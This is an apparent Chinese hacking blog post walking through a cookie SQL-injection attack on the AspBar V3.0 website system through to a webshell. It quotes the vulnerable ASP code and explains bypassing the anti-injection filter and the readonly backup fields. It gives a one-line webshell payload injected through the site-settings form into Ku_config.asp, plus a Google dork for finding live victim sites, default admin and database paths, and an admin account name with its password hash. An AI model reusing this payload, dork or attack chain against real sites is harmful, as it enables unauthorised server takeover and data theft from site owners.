转载请注明:んㄗ葑訫鎖愛'S Blog http://www.virusest.com/
AspBar V3.0整站管理系统存在Cookies注入漏洞
Ku_go.asp问题代码:
<%id=request("ku_id")
set rsl=server.createobject("adodb.recordset")
sqll="update ku_link set hits=hits+1 where ID="&ID&""
rsl.open sqll,conn,1,3
set rs=server.createobject("adodb.recordset")
sql="select * from ku_link where id="&id
rs.open sql,conn,1,3
系统加了防注入,但是简单看了下防注入系统,防的很不好,只过滤了request.querystring方法,而request.form和request.Cookies方法就没管,这也就造成了很大的安全隐患。但是这套系统玩了半天,花了一天时间才拿下Shell。首先,找到网站,在网站的友情链接处单击鼠标右键,查看属性,得到这样的地址http://localhost/Ku_go.asp?ku_id=15,如图:
利用注入中转,本地进行Cookies注入,如图:我拿到官方的账号和密码,但是却没找到后台,郁闷,放弃!(注意手动添加表名)
后来,在网上找了个用此系统的网站,通过Cookies注入,拿到账号和密码,后台也有,但是恶心的地方来了,不知道大家注意到没有,该系统的密码是40位的,普通的MD5加密后都是16位和32位的,后来经过研究,他的加密算法是这样的,40位密码中前16位是明文密码经过MD5,16位加密后的的密码,而40位密码中后16位是经过MD5,32位加密的后16位,至于40位中间的8位我也不知道是怎么来的。说的有点拗口,总之,拿到密码后取其前16位去破解,就可得到明文密码。后来联系到开发者,交流后才知道这个MD5算法是别人写的,真是煞费苦心丫!这么恶心。好了,拿到密码进了后台后,第一时间想到的是看有没有数据库备份,很好,果然有,立马上传图片马,准备备份时,更恶心的地方来了,备份数据库的相对路径和绝对路径没法改,查看源代码后才发现多了个 readonly,如下: <form method="post" action="ku_data.asp?action=BackupData">
<tr>
<td> 当前数据库路径(绝对路径):
<input name="B_DBpath" type="text" id="B_DBpath" value="../Ku_data/Ku_database.mdb" size="60" class="button1" / readonly></td>
</tr>
<tr>
<td height="25">备份数据库目录(绝对路径):
<input name="B_BKpath" type="text" id="B_BKpath" value="../Databackup" size="60" class="button1" / readonly></td>
</tr>
<tr>
<td>备份数据库名称(填写名称):
<input type="button" name="tjiao" value="加日期" onClick="B_FileName.value='2009-10-9beifen.sql'"/>
<input name="B_FileName" type="text" id="B_FileName" value="beifen.sql" size="35" class="button1" / readonly>
<input name="submit2" type="submit" value="确定备份" class="button2" /></td>
</tr>
这样没法改路径,也就备份不了了,不过这个可以突破的,将源代码保存到本地,将value值改成你的图片马的路径,然后将 <form method="post" action="ku_data.asp?action=BackupData"> 中的action值改成全路径,即http://www.xxxxx.com/admin/ku_data.asp?action=BackupData,保存后就可以本地提交备份了,但是在测试时问题又来了,当前数据库路径和备份目录不能改,改任何一个就会跳到http://www.xxxxx.com/admin/ku_data.asp?action=BackupData该页面,而备份名称可以随便改,后来郁闷了一会,查看了一下备份的代码,发现了更更恶心的东西,Ku_Data.asp中的备份过程是这么写的,Sub BackupData()
' On error resume next
Dim FileConnStr, Fileconn, B_DBpath, B_BKpath, B_FileName
B_DBpath = Request.Form("B_DBpath")
B_DBpath = Server.Mappath(B_DBpath) '恶心的地方在这,本来当前数据库路径从表单提取,但是多了这句,数据库路径变成从服务器上取得,本地修改的路径就无效了,
B_BKpath = Request.Form("B_BKpath")
B_BKpath = Server.Mappath(B_BKpath) ‘备份目录也是这么干的,
B_FileName = Request.Form("B_FileName") ‘ 只有备份名称可以从本地提交,
FileConnStr = "Provider = Microsoft.Jet.OLEDB.4.0;Data Source = " & B_DBpath
Set Fileconn = Server.CreateObject("ADODB.Connection")
Fileconn.open FileConnStr
看到这,既然备份的名称可以从本地取得,那为何不在当前数据库插入一句话,然后备份成asp的格式,再用一句话连接备份后的数据库呢,想法是很单纯,现实是残酷的,当我看到一句话原样躺在数据库中,连接时,却出现语法错误的提示,不是我一句话的问题,而是他做了手脚,伤心了,看来这条路是走不通了,后来点到了系统设置时突然来了灵感,在网站配置那里试着插入一句话,然后再连接试试,将一句话进行到底,看了下系统配置Ku_Setup.asp页面是这么写的, if action="ok" then
webname = trim(Request.form("webname"))
miaoshu = trim(Request.form("miaoshu"))
http = trim(Request.form("http"))
http = trim(Request.form("http"))
banben = trim(Request.form("banben"))
email = trim(Request.form("email"))
dianhua = trim(Request.form("dianhua"))
qq = trim(Request.form("QQ"))
beian = trim(Request.form("beian"))
tongji = trim(Request.form("tongji"))
mokuai = trim(Request.form("mokuai"))
database = trim(Request.form("data"))
indexad = trim(Request.form("indexad"))
artad = trim(Request.form("artad"))
fenlei = trim(Request.form("fenlei"))
cpad = trim(Request.form("cpad"))
downad = trim(Request.form("downad"))
kaifa = trim(Request.form("kaifa"))
ad = trim(Request.form("ad"))
voteincdir = server.mappath("../ku_inc/Ku_config.asp")
Const ForReading =1, ForWriting = 2
set fs = CreateObject("Scripting.FileSystemObject")
set ts = fs.OpenTextFile(voteincdir,ForWriting, True)
ts.Write ""
ts.Write "<"
ts.Write "%"& vbCrLf
ts.Write " Ku_name= "&""""&webname&""""& vbCrLf
ts.Write " Ku_web= "&""""&miaoshu&""""& vbCrLf
ts.Write " Ku_tongji= "&""""&tongji&""""& vbCrLf
ts.Write " Ku_beian= "&""""&beian&""""& vbCrLf
ts.Write " Ku_net= "&""""&http&""""& vbCrLf
ts.Write " Ku_ban= "&""""&banben&""""& vbCrLf
ts.Write " Ku_email= "&""""&email&""""& vbCrLf
ts.Write " Ku_tel = "&""""&dianhua&""""& vbCrLf
ts.Write " Ku_qq = "&""""&qq&""""& vbCrLf
ts.Write " Ku_webzz = "&""""&kaifa&""""& vbCrLf
ts.Write " Ku_mokuai= "&""""&mokuai&""""& vbCrLf
ts.Write " Ku_database= "&""""&database&""""& vbCrLf
ts.Write " Ku_indexad= "&""""&indexad&""""& vbCrLf
ts.Write " Ku_artad= "&""""&artad&""""& vbCrLf
ts.Write " Ku_fl= "&""""&fenlei&""""& vbCrLf
ts.Write " Ku_cpad= "&""""&cpad&""""& vbCrLf
ts.Write " Ku_downad= "&""""&downad&""""& vbCrLf
ts.Write " Ku_adss= "&""""&ad&""""& vbCrLf
ts.Write "%"
ts.Write ">"
ts.close
response.write "<script language=javascript>"
response.write "alert('系统相关设置成功!');"
response.write "</script>"
response.redirect"ku_setup.asp"
end if
直接从form取得信息,并没过滤,然后写到ku_inc/Ku_config.asp文件中,前面也说了,防注入只对querystring感冒,其他的放行,先在本地测试,因为在这里一句话格式写不对会直接挂掉网站的,经过测试,一句话的格式为 "%><%execute(request("cmd"))%><%',写在开发商那里,提交后页面刷新了下,没破坏,
打开ku_inc/Ku_config.asp页面看到熟悉的字眼,一句话连上去拿到了Shell,
早想到这点,当初就不必在数据库那里瞎折腾了,╮(╯▽╰)╭。
利用:Google:inurl:Ku_shownews.asp,后台:admin/Ku_Login.asp 默认数据库:Ku_data\Ku_database.mdb 可以下载的(挖掘鸡?)
还有一个在线编辑器,登陆地址:Ku_web/Admin_Login.asp
账号是guxing,密码没破出来,MD5加密后的是df8150673aaf363f,有兴趣的自己破解吧!